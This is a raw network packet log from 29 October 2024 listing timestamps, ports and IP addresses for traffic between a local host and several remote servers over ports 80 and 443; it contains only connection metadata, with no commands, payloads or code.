Oct 29, 2024 15:27:48.028834105 CET	49994	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:48.028865099 CET	49993	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:48.040410042 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.041131020 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.041152954 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.041738987 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.041744947 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.069513083 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.069957972 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.069974899 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.070382118 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.070385933 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.121314049 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.121778011 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.121792078 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.122248888 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.122255087 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.162693024 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:48.162754059 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:48.163039923 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:48.163069010 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:48.163584948 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:48.163660049 CET	443	49992	23.96.180.189	192.168.2.6
Oct 29, 2024 15:27:48.163743973 CET	49992	443	192.168.2.6	23.96.180.189
Oct 29, 2024 15:27:48.170718908 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.170783997 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.170875072 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.171077967 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.171103954 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.171109915 CET	49996	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.171114922 CET	443	49996	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.173979044 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.174015999 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.174088001 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.174237967 CET	50010	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.174257040 CET	443	50010	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.202675104 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.202717066 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.202764034 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.202783108 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.202821016 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.202986002 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.202999115 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.203008890 CET	49997	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.203015089 CET	443	49997	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.205547094 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.205646992 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.205877066 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.206034899 CET	50011	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.206072092 CET	443	50011	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262198925 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262231112 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262305975 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.262316942 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262346983 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262404919 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.262604952 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.262604952 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.262615919 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.262629986 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.266129017 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.266159058 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.266335964 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.266490936 CET	50012	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:48.266505957 CET	443	50012	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:48.288261890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288326979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288325071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288335085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288378000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288430929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288438082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288444042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288450003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288491964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288508892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288646936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288662910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288682938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288723946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288748980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288755894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288765907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288805008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288817883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288825035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288836002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288876057 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288892031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288909912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288917065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288949013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288954973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.288964987 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.288968086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289001942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289037943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289043903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289050102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289056063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289062977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289088964 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289118052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289187908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289213896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289242983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289249897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289252996 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289261103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289263964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289268017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289278984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289283037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289287090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289293051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289300919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289319992 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289361000 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289611101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289625883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289632082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289637089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289648056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289654016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289654016 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289661884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289680004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289685965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289700031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289705992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289711952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289720058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289727926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289751053 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289771080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289896011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289958000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.289963961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.289963961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290007114 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290014029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290019989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290024996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290030003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290043116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290066004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290086031 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290163040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290174007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290179968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290185928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290191889 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290210962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290224075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290235996 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290261030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290308952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290318966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290321112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290348053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290357113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290364027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290370941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290381908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290386915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290388107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290405035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290417910 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290425062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290429115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290441036 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290484905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290509939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290525913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290549994 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290577888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290688038 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290694952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290735960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290741920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290750980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290756941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290761948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290772915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290779114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290785074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.290791035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290817976 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.290838957 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291028023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291034937 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291039944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291045904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291064024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291071892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291079044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291084051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291090965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291111946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291112900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291119099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291130066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291136980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291141033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291142941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291167021 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291169882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291188002 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291207075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291234970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291341066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291347980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291353941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291359901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291366100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291373014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291378975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291393995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291415930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291425943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291429043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291435003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291439056 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291440964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291448116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291454077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.291465998 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291496992 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.291513920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.428919077 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.429217100 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.429229021 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.433156967 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.433243036 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.434226036 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.434310913 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.442519903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442596912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442604065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442631006 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442655087 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442734003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442739964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442753077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442761898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442780972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442817926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442840099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442847013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442852974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442859888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442890882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442919016 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.442929983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.442972898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443073034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443080902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443111897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443116903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443123102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443162918 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443193913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443200111 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443257093 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443289042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443300009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443301916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443305969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443362951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443362951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443381071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443387985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443401098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443408012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443433046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443437099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443443060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443461895 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443486929 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443495035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443501949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443546057 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443681955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443689108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443701029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443706036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443712950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443720102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443728924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443747044 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443753004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443759918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.443780899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.443810940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444632053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444675922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444684029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444686890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444720984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444775105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444781065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444787025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444792986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444819927 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444878101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444885015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444902897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444907904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444920063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444926023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444931984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444931984 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444938898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.444958925 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.444978952 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445615053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445621967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445640087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445646048 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445662975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445671082 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445677996 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445679903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445683002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445698977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445744038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445764065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445808887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445816040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445827961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445833921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445839882 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445852995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445859909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445863962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445867062 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445874929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445895910 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445908070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445914984 CET	80	49940	185.215.113.206	192.168.2.6
